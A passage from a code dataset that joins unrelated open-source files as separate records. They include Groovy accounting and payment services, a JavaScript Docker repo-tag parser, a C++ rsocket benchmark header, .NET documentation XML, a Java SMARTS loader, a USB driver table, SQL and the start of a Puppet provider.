invoice\n GenericValue invoice;\n List invoicePaymentInfoList = []\n if (!parameters.invoice) {\n invoice = from(\"Invoice\").where(\"invoiceId\", parameters.invoiceId).queryOne()\n } else {\n invoice = parameters.invoice\n }\n\n BigDecimal invoiceTotalAmount = InvoiceWorker.getInvoiceTotal(invoice)\n BigDecimal invoiceTotalAmountPaid = InvoiceWorker.getInvoiceApplied(invoice)\n\n List invoiceTerms = from(\"InvoiceTerm\").where(\"invoiceId\", invoice.invoiceId).queryList()\n\n BigDecimal remainingAppliedAmount = invoiceTotalAmountPaid\n BigDecimal computedTotalAmount = (BigDecimal) 0\n\n Map invoicePaymentInfo = [:]\n\n for (invoiceTerm in invoiceTerms) {\n termType = from(\"TermType\").where(\"termTypeId\", invoiceTerm.termTypeId).cache(true).queryOne()\n if (\"FIN_PAYMENT_TERM\" == termType.parentTypeId) {\n invoicePaymentInfo.clear()\n invoicePaymentInfo.invoiceId = invoice.invoiceId\n invoicePaymentInfo.invoiceTermId = invoiceTerm.invoiceTermId\n invoicePaymentInfo.termTypeId = invoiceTerm.termTypeId\n invoicePaymentInfo.dueDate = UtilDateTime.getDayEnd(invoice.invoiceDate, invoiceTerm.termDays)\n\n BigDecimal invoiceTermAmount = (invoiceTerm.termValue * invoiceTotalAmount ) / 100\n invoicePaymentInfo.amount = invoiceTermAmount\n computedTotalAmount = computedTotalAmount + (BigDecimal) invoicePaymentInfo.amount\n\n if (remainingAppliedAmount >= invoiceTermAmount) {\n invoicePaymentInfo.paidAmount = invoiceTermAmount\n remainingAppliedAmount = remainingAppliedAmount - invoiceTermAmount\n } else {\n invoicePaymentInfo.paidAmount = remainingAppliedAmount\n remainingAppliedAmount = (BigDecimal) 0\n }\n invoicePaymentInfo.outstandingAmount = invoicePaymentInfo.amount - invoicePaymentInfo.paidAmount\n invoicePaymentInfoList.add(invoicePaymentInfo)\n }\n }\n\n if (remainingAppliedAmount > 0.0 || invoiceTotalAmount <= 0.0 || computedTotalAmount < invoiceTotalAmount) {\n invoicePaymentInfo.clear()\n invoiceTerm = from(\"InvoiceTerm\").where(\"invoiceId\", invoice.invoiceId, \"termTypeId\", \"FIN_PAYMENT_TERM\").queryFirst()\n if (invoiceTerm) {\n invoicePaymentInfo.termTypeId = invoiceTerm.termTypeId\n invoicePaymentInfo.dueDate = UtilDateTime.getDayEnd(invoice.invoiceDate, invoiceTerm.termDays)\n } else {\n invoicePaymentInfo.dueDate = UtilDateTime.getDayEnd(invoice.invoiceDate)\n }\n invoicePaymentInfo.invoiceId = invoice.invoiceId\n invoicePaymentInfo.amount = invoiceTotalAmount - computedTotalAmount\n invoicePaymentInfo.paidAmount = remainingAppliedAmount\n invoicePaymentInfo.outstandingAmount = invoicePaymentInfo.amount - invoicePaymentInfo.paidAmount\n invoicePaymentInfoList.add(invoicePaymentInfo)\n }\n Map result = success()\n result.invoicePaymentInfoList = invoicePaymentInfoList\n return result\n}\ndef updatePayment() {\n Map lookupPayment = makeValue(\"Payment\")\n lookupPayment.setPKFields(parameters)\n GenericValue payment = from(\"Payment\").where(\"paymentId\", lookupPayment.paymentId).queryOne()\n if (!security.hasEntityPermission(\"ACCOUNTING\", \"_UPDATE\", parameters.userLogin) &&\n (!security.hasEntityPermission(\"PAY_INFO\", \"_UPDATE\", parameters.userLogin) &&\n userLogin.partyId != payment.partyIdFrom && userLogin.partyId != payment.partyIdTo)) {\n return error(UtilProperties.getResourceBundleMap(\"AccountingUiLabels\", locale)?.AccountingUpdatePaymentPermissionError)\n }\n if (\"PMNT_NOT_PAID\" != payment.statusId) {\n // check if only status change\n GenericValue newPayment = makeValue(\"Payment\")\n GenericValue oldPayment = makeValue(\"Payment\")\n newPayment.setNonPKFields(payment)\n oldPayment.setNonPKFields(payment)\n newPayment.setNonPKFields(parameters)\n\n // fields :- comments, paymentRefNum, finAccountTransId, statusIhStatus does not allow an update of the information are editable for Payment\n oldPayment.statusId = newPayment.statusId\n oldPayment.comments = newPayment.comments\n oldPayment.paymentRefNum = newPayment.paymentRefNum ?: null\n oldPayment.finAccountTransId = newPayment.finAccountTransId ?: null\n if (!oldPayment.equals(newPayment)) {\n return error(UtilProperties.getResourceBundleMap(\"AccountingUiLabels\", locale)?.AccountingPSUpdateNotAllowedBecauseOfStatus)\n }\n }\n statusIdSave = payment.statusId // do not allow status change here\n payment.setNonPKFields(parameters)\n payment.statusId = statusIdSave // do not allow status change here\n payment.effectiveDate = payment.effectiveDate ?: UtilDateTime.nowTimestamp()\n if (payment.paymentMethodId) {\n paymentMethod = from(\"PaymentMethod\").where(\"paymentMethodId\", payment.paymentMethodId).queryOne()\n if (payment.paymentMethodTypeId != paymentMethod.paymentMethodTypeId) {\n logInfo(\"Replacing passed payment method type [\" + parameters.paymentMethodTypeId + \"] with payment method type [\" +\n paymentMethod.paymentMethodTypeId + \"] for payment method [\" + parameters.paymentMethodId +\"]\")\n }\n payment.paymentMethodTypeId = paymentMethod.paymentMethodTypeId\n }\n payment.store()\n if (parameters.statusId) {\n if (parameters.statusId != statusIdSave) {\n Map param = dispatcher.getDispatchContext().makeValidContext('setPaymentStatus', ModelService.IN_PARAM, parameters)\n param.paymentId = payment.paymentId\n serviceResult = run service: 'setPaymentStatus', with: param\n if (!ServiceUtil.isSuccess(serviceResult)) return error(serviceResult)\n }\n }\n return success()\n}\ndef createPaymentAndApplicationForParty() {\n paymentAmount = 0\n List invoiceIds = []\n Map result = success()\n parameters.invoices.each { invoice ->\n if (\"INVOICE_READY\" == invoice.statusId) {\n Map serviceContext = dispatcher.getDispatchContext().makeValidContext('getInvoicePaymentInfoList', ModelService.IN_PARAM, invoice)\n serviceContext.userLogin = userLogin\n serviceResult = run service: 'getInvoicePaymentInfoList', with: serviceContext\n if (ServiceUtil.isError(serviceResult)) return serviceResult\n invoicePaymentInfo = serviceResult.invoicePaymentInfoList[0]\n paymentAmount += invoicePaymentInfo.outstandingAmount\n } else {\n return error(UtilProperties.getMessage(\"AccountingUiLabels\", \"AccountingInvoicesRequiredInReadyStatus\", parameters.locale))\n }\n }\n if (paymentAmount > 0) {\n serviceResult = run service: 'getPartyAccountingPreferences', with: parameters\n if (ServiceUtil.isError(serviceResult)) return serviceResult\n partyAcctgPreference = serviceResult.partyAccountingPreference\n Map createPaymentMap = [:]\n createPaymentMap.paymentTypeId = \"VENDOR_PAYMENT\"\n createPaymentMap.partyIdFrom = parameters.organizationPartyId\n createPaymentMap.currencyUomId = partyAcctgPreference.baseCurrencyUomId\n createPaymentMap.partyIdTo = parameters.partyId\n createPaymentMap.statusId = \"PMNT_SENT\"\n createPaymentMap.amount = paymentAmount\n createPaymentMap.paymentMethodTypeId = parameters.paymentMethodTypeId\n createPaymentMap.paymentMethodId = parameters.paymentMethodId\n createPaymentMap.paymentRefNum = parameters.checkStartNumber\n createPaymentMap.userLogin = userLogin\n serviceResult = run service: 'createPayment', with: createPaymentMap\n if (ServiceUtil.isError(serviceResult)) return serviceResult\n paymentId = serviceResult.paymentId\n result.paymentId = paymentId\n\n parameters.invoices.each {invoice ->\n if (\"INVOICE_READY\" == invoice.statusId) {\n Map serviceContext = dispatcher.getDispatchContext().makeValidContext('getInvoicePaymentInfoList', ModelService.IN_PARAM, invoice)\n serviceContext.userLogin = userLogin\n serviceResult = run service: 'getInvoicePaymentInfoList', with: serviceContext\n if (ServiceUtil.isError(serviceResult)) return serviceResult\n invoicePaymentInfo = serviceResult.invoicePaymentInfoList[0]\n if (invoicePaymentInfo.outstandingAmount > 0) {\n Map createPaymentApplicationMap = [:]\n createPaymentApplicationMap.paymentId = paymentId\n createPaymentApplicationMap.amountApplied = invoicePaymentInfo.outstandingAmount\n createPaymentApplicationMap.invoiceId = invoice.invoiceId\n serviceResult = run service: 'createPaymentApplication', with: createPaymentApplicationMap\n if (ServiceUtil.isError(serviceResult)) return serviceResult\n }\n }\n invoiceIds.add(invoice.invoiceId)\n }\n }\n result.invoiceIds = invoiceIds\n result.amount = paymentAmount\n return result\n}\ndef getPaymentRunningTotal(){\n paymentIds = parameters.paymentIds;\n runningTotal = 0;\n payments = from(\"Payment\").where(EntityCondition.makeCondition(\"paymentId\", EntityOperator.IN, paymentIds)).queryList()\n if (payments) {\n for (GenericValue payment : payments) {\n runningTotal = runningTotal + payment.amount;\n }\n }\n\n if (parameters.organizationPartyId) {\n serviceCtx = [\n organizationPartyId: parameters.organizationPartyId,\n userLogin: userLogin\n ]\n serviceResult = dispatcher.runSync('getPartyAccountingPreferences', serviceCtx);\n partyAcctgPreference = serviceResult.partyAccountingPreference;\n\n if (partyAcctgPreference.baseCurrencyUomId) {\n currencyUomId = partyAcctgPreference.baseCurrencyUomId;\n } else {\n currencyUomId = UtilProperties.getPropertyValue('general.properties', 'currency.uom.id.default');\n }\n } else {\n currencyUomId = UtilProperties.getPropertyValue('general.properties', 'currency.uom.id.default');\n }\n\n paymentRunningTotal = UtilFormatOut.formatCurrency(runningTotal, currencyUomId, locale);\n\n result = success()\n result.paymentRunningTotal = paymentRunningTotal\n return result\n}\ndef createPaymentContent() {\n GenericValue newEntity = makeValue(\"PaymentContent\")\n newEntity.setPKFields(parameters, true)\n newEntity.setNonPKFields(parameters, true)\n\n if (!newEntity.fromDate) {\n Timestamp nowTimestamp = UtilDateTime.nowTimestamp()\n newEntity.fromDate = nowTimestamp\n }\n newEntity.create()\n\n result = run service: 'updateContent', with: parameters\n if (ServiceUtil.isError(result)) return result\n\n Map result = success()\n result.contentId = newEntity.contentId\n result.paymentId = newEntity.paymentId\n result.paymentContentTypeId = newEntity.paymentContentTypeId\n return result\n}\n//TODO: This can be converted into entity-auto with a seca rule for updateContent\ndef updatePaymentContent() {\n serviceResult = success()\n GenericValue lookupPKMap = makeValue(\"PaymentContent\")\n lookupPKMap.setPKFields(parameters, true)\n\n GenericValue lookedUpValue = findOne(\"PaymentContent\", lookupPKMap, false)\n if (lookedUpValue) {\n lookedUpValue.setNonPKFields(parameters)\n lookedUpValue.store()\n result = run service: 'updateContent', with: parameters\n if (ServiceUtil.isError(result)) return result\n return serviceResult\n } else {\n return ServiceUtil.returnError(\"Error getting Payment Content\")\n }\n}\ndef massChangePaymentStatus() {\n serviceResult = success()\n Map setPaymentStatusMap = [:]\n parameters.paymentIds.each{ paymentId ->\n setPaymentStatusMap.paymentId = paymentId\n setPaymentStatusMap.statusId = parameters.statusId\n setPaymentStatusMap.userLogin = parameters.userLogin\n result = run service: 'setPaymentStatus', with: setPaymentStatusMap\n if (ServiceUtil.isError(result)) return result\n setPaymentStatusMap.clear()\n }\n return serviceResult\n}\ndef getInvoicePaymentInfoListByDueDateOffset(){\n\n filteredInvoicePaymentInfoList = []\n\n Timestamp asOfDate = UtilDateTime.getDayEnd(UtilDateTime.nowTimestamp(), (long) parameters.daysOffset);\n\n exprList = [EntityCondition.makeCondition(\"invoiceTypeId\", EntityOperator.EQUALS, parameters.invoiceTypeId),\n EntityCondition.makeCondition(\"statusId\", EntityOperator.NOT_EQUAL, \"INVOICE_CANCELLED\"),\n EntityCondition.makeCondition(\"statusId\", EntityOperator.NOT_EQUAL, \"INVOICE_PAID\")\n ]\n if (parameters.partyId) {\n exprList.add(EntityCondition.makeCondition(\"partyId\", EntityOperator.EQUALS, parameters.partyId))\n }\n if (parameters.partyIdFrom) {\n exprList.add(EntityCondition.makeCondition(\"partyIdFrom\", EntityOperator.EQUALS, parameters.partyIdFrom))\n }\n\n condition = EntityCondition.makeCondition(exprList, EntityOperator.AND);\n\n invoices = from(\"Invoice\").where(condition).orderBy(\"invoiceDate\").queryList();\n\n if (invoices) {\n for (GenericValue invoice : invoices) {\n getInvoicePaymentInfoListInMap = [:]\n getInvoicePaymentInfoListInMap.put(\"invoice\", invoice);\n getInvoicePaymentInfoListInMap.put(\"userLogin\", userLogin);\n serviceResult = run service: 'getInvoicePaymentInfoList', with: getInvoicePaymentInfoListInMap\n if (ServiceUtil.isError(serviceResult)) return result\n invoicePaymentInfoList = serviceResult.invoicePaymentInfoList;\n if (invoicePaymentInfoList) {\n invoicePaymentInfoList.each { invoicePaymentInfo ->\n if (invoicePaymentInfo.outstandingAmount.compareTo(BigDecimal.ZERO) > 0 && invoicePaymentInfo.dueDate.before(asOfDate)) {\n filteredInvoicePaymentInfoList.add(invoicePaymentInfo);\n }\n }\n }\n }\n }\n\n result = success()\n result.invoicePaymentInfoList = filteredInvoicePaymentInfoList\n return result\n}\n\ndef getPaymentGroupReconciliationId() {\n paymentGroupMember = from(\"PaymentGroupMember\").where(\"paymentGroupId\", parameters.paymentGroupId).queryFirst()\n glReconciliationId = null;\n Map result = success()\n if (paymentGroupMember) {\n payment = paymentGroupMember.getRelatedOne('Payment', false)\n finAccountTrans = payment.getRelatedOne('FinAccountTrans', false)\n if (finAccountTrans) {\n glReconciliationId = finAccountTrans.glReconciliationId\n }\n }\n result.glReconciliationId = glReconciliationId\n return result\n}\n\ndef createPaymentAndApplication() {\n Map result = success()\n Map createPaymentCtx = dispatcher.getDispatchContext().makeValidContext('createPayment', 'IN', parameters)\n Map createPaymentResp = dispatcher.runSync('createPayment', createPaymentCtx)\n\n if (ServiceUtil.isError(createPaymentResp)) return createPaymentResp\n\n Map createPaymentApplicationCtx = dispatcher.getDispatchContext().makeValidContext('createPaymentApplication', 'IN', parameters)\n createPaymentApplicationCtx.paymentId = createPaymentResp.paymentId\n createPaymentApplicationCtx.amountApplied = parameters.amount\n Map createPaymentApplicationResp = dispatcher.runSync('createPaymentApplication', createPaymentApplicationCtx)\n\n if (ServiceUtil.isError(createPaymentApplicationResp)) return createPaymentApplicationResp\n\n result.put(\"paymentId\", createPaymentResp.paymentId)\n result.put(\"paymentApplicationId\", createPaymentApplicationResp.paymentApplicationId)\n return result\n\n}\n\ndef createFinAccoutnTransFromPayment() {\n serviceResult = success()\n Map createFinAccountTransMap = dispatcher.getDispatchContext().makeValidContext('setPaymentStatus', ModelService.IN_PARAM, parameters)\n createFinAccountTransMap.finAccountTransTypeId = 'WITHDRAWAL'\n createFinAccountTransMap.partyId = parameters.organizationPartyId\n createFinAccountTransMap.transactionDate = UtilDateTime.nowTimestamp()\n createFinAccountTransMap.entryDate = UtilDateTime.nowTimestamp()\n createFinAccountTransMap.statusId = 'FINACT_TRNS_CREATED'\n createFinAccountTransMap.comments = \"Pay to ${parameters.partyId} for invoice Ids - ${parameters.invoiceIds}\"\n result = run service: 'createFinAccountTrans', with: createFinAccountTransMap\n if (ServiceUtil.isError(result)) {\n return ServiceUtil.returnError(ServiceUtil.getErrorMessage(result))\n }\n Map updatePaymentMap = [:]\n updatePaymentMap.finAccountTransId = result.finAccountTransId\n updatePaymentMap.paymentId = parameters.paymentId\n result = run service: 'updatePayment', with: updatePaymentMap\n if (ServiceUtil.isError(result)) {\n return ServiceUtil.returnError(ServiceUtil.getErrorMessage(result))\n }\n return serviceResult\n}\n\ndef quickSendPayment() {\n Map result = success()\n Map updatePaymentCtx = dispatcher.getDispatchContext().makeValidContext('updatePayment', 'IN', parameters)\n Map updatePaymentResp = dispatcher.runSync('updatePayment', updatePaymentCtx)\n\n if (ServiceUtil.isError(updatePaymentResp)) return updatePaymentResp\n\n Map setPaymentStatusCtx = dispatcher.getDispatchContext().makeValidContext('setPaymentStatus', 'IN', parameters)\n setPaymentStatusCtx.statusId = \"PMNT_SENT\"\n Map setPaymentStatusResp = dispatcher.runSync('setPaymentStatus', setPaymentStatusCtx)\n\n if (ServiceUtil.isError(setPaymentStatusResp)) return setPaymentStatusResp\n\n return result\n\n}\n\n/**\n * Service to cancel payment batch\n */\ndef cancelPaymentBatch() {\n List paymentGroupMemberAndTransList = from(\"PmtGrpMembrPaymentAndFinAcctTrans\").where(\"paymentGroupId\", parameters.paymentGroupId).queryList()\n\n if (paymentGroupMemberAndTransList) {\n GenericValue paymentGroupMemberAndTrans = EntityUtil.getFirst(paymentGroupMemberAndTransList)\n if (\"FINACT_TRNS_APPROVED\" == paymentGroupMemberAndTrans.finAccountTransStatusId) {\n return error(UtilProperties.getMessage('AccountingErrorUiLabels', 'AccountingTransactionIsAlreadyReconciled', locale))\n }\n\n for (GenericValue paymentGroupMember : paymentGroupMemberAndTransList) {\n Map expirePaymentGroupMemberMap = dispatcher.getDispatchContext().makeValidContext(\"expirePaymentGroupMember\", \"IN\", paymentGroupMember)\n result = runService(\"expirePaymentGroupMember\", expirePaymentGroupMemberMap)\n if (ServiceUtil.isError(result)) return result\n\n GenericValue finAccountTrans = from(\"FinAccountTrans\").where(\"finAccountTransId\", paymentGroupMember.finAccountTransId).queryOne()\n if (finAccountTrans) {\n Map setFinAccountTransStatusMap = dispatcher.getDispatchContext().makeValidContext(\"setFinAccountTransStatus\", \"IN\", finAccountTrans)\n setFinAccountTransStatusMap.statusId = \"FINACT_TRNS_CANCELED\"\n result = runService(\"setFinAccountTransStatus\", setFinAccountTransStatusMap)\n if (ServiceUtil.isError(result)) return result\n }\n }\n }\n}\n\ndef getPayments() {\n payments = []\n if (parameters.paymentGroupId) {\n paymentGroupMembers = from(\"PaymentGroupMember\").where(\"paymentGroupId\", parameters.paymentGroupId).filterByDate().queryList()\n if (paymentGroupMembers) {\n paymentIds = EntityUtil.getFieldListFromEntityList(paymentGroupMembers, \"paymentId\", true)\n payments = from(\"Payment\").where(EntityCondition.makeCondition(\"paymentId\", EntityOperator.IN, paymentIds)).queryList()\n }\n }\n if (parameters.finAccountTransId) {\n payments = from(\"Payment\").where(\"finAccountTransId\", parameters.finAccountTransId).queryList()\n }\n result = success()\n result.payments = payments\n return result\n}\n\ndef cancelCheckRunPayments() {\n paymentGroupMemberAndTransList = from(\"PmtGrpMembrPaymentAndFinAcctTrans\").where(\"paymentGroupId\", parameters.paymentGroupId).queryList()\n if (paymentGroupMemberAndTransList) {\n paymentGroupMemberAndTrans = EntityUtil.getFirst(paymentGroupMemberAndTransList)\n if (\"FINACT_TRNS_APPROVED\" != paymentGroupMemberAndTrans.finAccountTransStatusId) {\n for (GenericValue paymentGroupMemberAndTrans : paymentGroupMemberAndTransList) {\n payment = from(\"Payment\").where(\"paymentId\", paymentGroupMemberAndTrans.paymentId).queryOne()\n Map voidPaymentMap = dispatcher.getDispatchContext().makeValidContext(\"voidPayment\", \"IN\", payment)\n result = runService(\"voidPayment\", voidPaymentMap)\n if (ServiceUtil.isError(result)) return result\n Map expirePaymentGroupMemberMap = dispatcher.getDispatchContext().makeValidContext(\"expirePaymentGroupMember\", \"IN\", paymentGroupMemberAndTrans)\n result = runService(\"expirePaymentGroupMember\", expirePaymentGroupMemberMap)\n if (ServiceUtil.isError(result)) return result\n }\n } else {\n return error(UtilProperties.getMessage(\"AccountingErrorUiLabels\", \"AccountingCheckIsAlreadyIssued\", locale))\n }\n }\n return success()\n}\n"} -{"text": "/**\n * https://github.com/apocas/dockerode/blob/master/lib/util.js\n * Parse the given repo tag name (as a string) and break it out into repo/tag pair.\n * // if given the input http://localhost:8080/woot:latest\n * {\n * repository: 'http://localhost:8080/woot',\n * tag: 'latest'\n * }\n * @param {String} input Input e.g: 'repo/foo', 'ubuntu', 'ubuntu:latest'\n * @return {Object} input parsed into the repo and tag.\n */\n\nfunction parseRepoTag (input) {\n var separatorPos\n var digestPos = input.indexOf('@')\n var colonPos = input.lastIndexOf(':')\n // @ symbol is more important\n if (digestPos >= 0) {\n separatorPos = digestPos\n } else if (colonPos >= 0) {\n separatorPos = colonPos\n } else {\n // no colon nor @\n return {\n repository: input\n }\n }\n\n // last colon is either the tag (or part of a port designation)\n var tag = input.slice(separatorPos + 1)\n\n // if it contains a / its not a tag and is part of the url\n if (tag.indexOf('/') === -1) {\n return {\n repository: input.slice(0, separatorPos),\n tag\n }\n }\n\n return {\n repository: input\n }\n}\n\nexport default parseRepoTag\n"} -{"text": "// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#pragma once\n\n#include \"rsocket/RSocketResponder.h\"\n#include \"rsocket/benchmarks/Latch.h\"\n\nnamespace rsocket {\n\n/// Responder that always sends back a fixed message.\nclass FixedResponder : public RSocketResponder {\n public:\n explicit FixedResponder(const std::string& message)\n : message_{folly::IOBuf::copyBuffer(message)} {}\n\n /// Infinitely streams back the message.\n std::shared_ptr> handleRequestStream(\n Payload,\n StreamId) override {\n return yarpl::flowable::Flowable::fromGenerator(\n [msg = message_->clone()] { return Payload(msg->clone()); });\n }\n\n std::shared_ptr> handleRequestResponse(\n Payload,\n StreamId) override {\n return yarpl::single::Singles::fromGenerator(\n [msg = message_->clone()] { return Payload(msg->clone()); });\n }\n\n private:\n std::unique_ptr message_;\n};\n\n/// Subscriber that requests N items and cancels the subscription once all of\n/// them arrive. Signals a latch when it terminates.\nclass BoundedSubscriber : public yarpl::flowable::BaseSubscriber {\n public:\n BoundedSubscriber(Latch& latch, size_t requested)\n : latch_{latch}, requested_{requested} {}\n\n void onSubscribeImpl() override {\n this->request(requested_);\n }\n\n void onNextImpl(Payload) override {\n if (received_.fetch_add(1) == requested_ - 1) {\n DCHECK(!terminated_.exchange(true));\n latch_.post();\n\n // After this cancel we could be destroyed.\n this->cancel();\n }\n }\n\n void onCompleteImpl() override {\n if (!terminated_.exchange(true)) {\n latch_.post();\n }\n }\n\n void onErrorImpl(folly::exception_wrapper) override {\n if (!terminated_.exchange(true)) {\n latch_.post();\n }\n }\n\n private:\n Latch& latch_;\n\n std::atomic_bool terminated_{false};\n size_t requested_{0};\n std::atomic received_{0};\n};\n} // namespace rsocket\n"} -{"text": "\n \n \n \n \n \n \n \n \n \n System.Windows.Forms\n 2.0.0.0\n 4.0.0.0\n 5.0.0.0\n \n \n System.Object\n \n \n \n System.IDisposable\n \n \n \n Implements the interfaces of an ActiveX site for use as a base class by the class.\n To be added.\n \n \n \n \n \n System.Windows.Forms\n 4.0.0.0\n \n \n Releases the resources used by the .\n \n \n \n \n \n \n \n \n \n Method\n \n M:System.IDisposable.Dispose\n \n \n System.Windows.Forms\n 2.0.0.0\n 4.0.0.0\n 5.0.0.0\n \n \n \n [System.Runtime.TargetedPatchingOptOut(\"Performance critical to inline this type of method across NGen image boundaries\")]\n [<System.Runtime.TargetedPatchingOptOut(\"Performance critical to inline this type of method across NGen image boundaries\")>]\n \n \n \n System.Void\n \n \n \n Releases all resources used by the .\n To be added.\n \n \n \n \n \n \n \n \n \n \n Method\n \n System.Windows.Forms\n 2.0.0.0\n 4.0.0.0\n 5.0.0.0\n \n \n System.Void\n \n \n \n \n \n \n to release both managed and unmanaged resources; to release only unmanaged resources.\n Releases the unmanaged resources used by the and optionally releases the managed resources.\n To be added.\n \n \n \n \n\n"} -{"text": "MIT License\n\ngolly.js is freely distributable under the terms of the MIT license.\n\nCopyright (c) 2012, Danny Garcia. All rights reserved.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"} -{"text": "package org.openscience.cdk.fingerprint;\n\n\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Default sets of atom containers aimed for use with the substructure.\n *\n * @author egonw\n *\n * @cdk.module fingerprint\n * @cdk.githash\n */\npublic class StandardSubstructureSets {\n /**\n * The functional groups.\n *\n * @return A set of the functional groups.\n * @throws Exception if there is an error parsing SMILES for the functional groups\n */\n public static String[] getFunctionalGroupSMARTS() throws Exception {\n return readSMARTSPattern(\"org/openscience/cdk/fingerprint/data/SMARTS_InteLigand.txt\");\n }\n\n /**\n * Subset of the MACCS fingerprint definitions. The subset encompasses the pattern\n * that are countable:\n *
      \n *
    • Patterns have obvious counting nature, e.g., 6-Ring, C=O, etc.
      • \n *
    • Patterns like \"Is there at least 1 of this and that?\", \"Are there at least 2 ...\" etc. are merged
      • \n *
    • Patterns clearly corresponding to binary properties, e.g., actinide group ([Ac,Th,Pa,...]), isotope, etc., have been removed.
      • \n *
    \n *\n *\n * @return Countable subset of the MACCS fingerprint definition\n * @throws Exception if there is an error parsing SMILES patterns\n */\n public static String[] getCountableMACCSSMARTS() throws Exception {\n return readSMARTSPattern(\"org/openscience/cdk/fingerprint/data/SMARTS_countable_MACCS_keys.txt\");\n }\n\n /**\n * Load a list of SMARTS patterns from the specified file.\n *\n * Each line in the file corresponds to a pattern with the following structure:\n * PATTERN_DESCRIPTION: SMARTS_PATTERN, e.g., Thioketone: [#6][CX3](=[SX1])[#6]\n *\n * Empty lines and lines starting with a \"#\" are skipped.\n *\n * @param filename list of the SMARTS pattern to be loaded\n * @return list of strings containing the loaded SMARTS pattern\n * @throws Exception if there is an error parsing SMILES patterns\n */\n private static String[] readSMARTSPattern(String filename) throws Exception {\n InputStream ins = StandardSubstructureSets.class.getClassLoader().getResourceAsStream(filename);\n BufferedReader reader = new BufferedReader(new InputStreamReader(ins));\n\n List tmp = new ArrayList();\n String line;\n while ((line = reader.readLine()) != null) {\n if (line.startsWith(\"#\") || line.trim().length() == 0) continue;\n String[] toks = line.split(\":\");\n StringBuffer s = new StringBuffer();\n for (int i = 1; i < toks.length - 1; i++)\n s.append(toks[i] + \":\");\n s.append(toks[toks.length - 1]);\n tmp.add(s.toString().trim());\n }\n return tmp.toArray(new String[]{});\n }\n}\n"} -{"text": "/**HEADER********************************************************************\n *\n * Copyright (c) 2009, 2013 Freescale Semiconductor;\n * All Rights Reserved\n *\n ***************************************************************************\n *\n * THIS SOFTWARE IS PROVIDED BY FREESCALE \"AS IS\" AND ANY EXPRESSED OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL FREESCALE OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n * THE POSSIBILITY OF SUCH DAMAGE.\n *\n **************************************************************************\n *\n * $FileName: khci_interface.c$\n * $Version : \n * $Date : \n *\n * Comments:\n *\n *\n *END************************************************************************/\n#include \"usb_device_config.h\"\n#if USBCFG_DEV_KHCI\n//#include \"types.h\"\n#include \"adapter.h\"\n#include \"adapter_cfg.h\"\n#include \"usb_types.h\" //USB error definitions\n#include \"compiler.h\"\n#include \"usb_desc.h\" //USB descriptor macros\n#include \"usb_misc.h\"\n#include \"adapter_types.h\"\n#include \"khci_dev.h\"\n#include \"usb_device_stack_interface.h\"\n#include \"usb_dev.h\"\n#if defined(__cplusplus)\nextern const usb_dev_interface_functions_struct_t _usb_khci_dev_function_table =\n#else\nconst usb_dev_interface_functions_struct_t _usb_khci_dev_function_table =\n#endif\n{\n usb_dci_khci_preinit,\n usb_dci_khci_init,\n usb_dci_khci_postinit,\n usb_dci_khci_send,\n usb_dci_khci_recv,\n#if USBCFG_DEV_ADVANCED_CANCEL_ENABLE\n usb_dci_khci_cancel,\n#endif\n usb_dci_khci_init_endpoint,\n usb_dci_khci_deinit_endpoint,\n usb_dci_khci_unstall_endpoint,\n usb_dci_khci_get_endpoint_status,\n usb_dci_khci_set_endpoint_status,\n NULL,\n usb_dci_khci_set_addr,\n usb_dci_khci_shutdown,\n NULL,\n#if USBCFG_DEV_ADVANCED_SUSPEND_RESUME\n usb_dci_khci_assert_resume,\n#endif\n usb_dci_khci_stall_endpoint,\n usb_dci_khci_set_status,\n usb_dci_khci_get_status,\n usb_dci_khci_get_xd,\n usb_dci_khci_reset,\n};\n#endif\n"} -{"text": "create unlogged table large_notifications (\n id serial primary key,\n payload varchar not null,\n created_at timestamp default current_timestamp not null\n);\n\ncomment on table large_notifications is\n'Table for notifications whose payload is too big to send directly';\n"} -{"text": "require 'puppet/util/inifile'\n\nPuppet::Type.type(:yumrepo).provide(:inifile) do\n desc <<-EOD\n Manage yum repo configurations by parsing yum INI configuration files.\n\n ### Fetching instances\n\n When fetching repo instances, directory entries in '/etc/yum/repos.d',\n '/etc/yum.repos.d', and the directory optionally specified by the reposdir\n key in '/etc/yum.conf' will 